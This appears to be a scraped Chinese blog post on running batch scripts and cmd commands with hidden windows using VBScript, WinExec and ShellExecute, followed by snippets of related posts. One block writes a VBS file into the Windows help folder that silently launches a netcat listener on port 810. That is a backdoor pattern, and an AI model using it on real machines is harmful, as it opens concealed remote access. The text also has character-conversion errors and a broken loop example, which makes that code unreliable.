2023年5月7日11:14:47
使用cscript.exe執行vbs會彈出cmd視窗
避免方法:
管理員許可權執行cmd,輸入cscript.exe //h:wscript,將預設的指令碼宿主改為 wscript.exe,即可解決。
set ws = createobject("wscript.shell")
ws.run "cmd /c install.bat",vbhide
#install.bat 為要執行的指令碼名稱,需要和***.vbs指令碼放到同乙個目錄下
執行cmd.exe時,加了/c引數後它將執行/c後面的命令,不加引數的話,它只執行cmd命令。
system("***"),相當於執行cmd.exe /c ***。
使用winexec或shellexecute和cmd.exe /c 來達到隱藏視窗的目的。
示例:
winexec("cmd.exe /c dir > d:\\abc.txt", sw_hide);
shellexecute(nullptr, l"open", l"cmd.exe", l"/c dir > d:\\abc.txt", nullptr, sw_hide);
單次執行請用這個,修改auto.bat為你要執行的批處理檔案的名字,並將以下內容儲存為vbs格式,放到auto.bat檔案所在目錄,名字隨便,例如run.vbs
set shell = wscript.createobject("wscript.shell")
a = shell.run ("auto.bat",0)
迴圈執行請用這個,示例為每60秒執行一次,儲存格式和所放置的目錄同1所述
dim a
set a=createobject("wscript.shell")
doa.run "auto.bat"
wscript.sleep 60000
loop
echo dim wsh > %systemroot%/help/test.vbs
echo set wsh=createobject("wscript.shell") >> %systemroot%/help/test.vbs
echo wsh.run "cmd /c %systemroot%/help/nc -v -l -p 810 < %systemroot%/help/or.txt",0 >> %systemroot%/help/test.vbs
vbscript 不顯示串列埠執行某cmd
需求 乙個python.exe 可能放在任意的路徑下,希望寫乙個vbs 指令碼執行這個python.exe 且不要顯示cmd 視窗 實做 currentpath createobject scripting.filesystemobject getfolder path 獲取當前指令碼所在的路徑 w...
解決CMD命令列視窗不顯示顏色問題python
最近在做乙個cmd命令列視窗顯示不同顏色的字型的功能時,發現按照網上的方法設定均不生效 1.比如最常見的方法,print 033 0 30 40m thello world 033 0m 我執行的結果如下 解決方法如下 需從colorama中匯入init coding utf 8 from colo...
執行時隱藏 不顯示 程式視窗 VC
有時需要寫一些簡單的程式,在後台執行完成某些功能,這時則不想要它出現程式視窗。然而即使建立console控制台程式,執行時也會閃出乙個討厭的dos視窗。其實可以很容易地通過乙個簡單方法來解決這個問題。以ansi的consle工程為例,可以這樣,在程式中新增以下預編譯指令 pragma comment...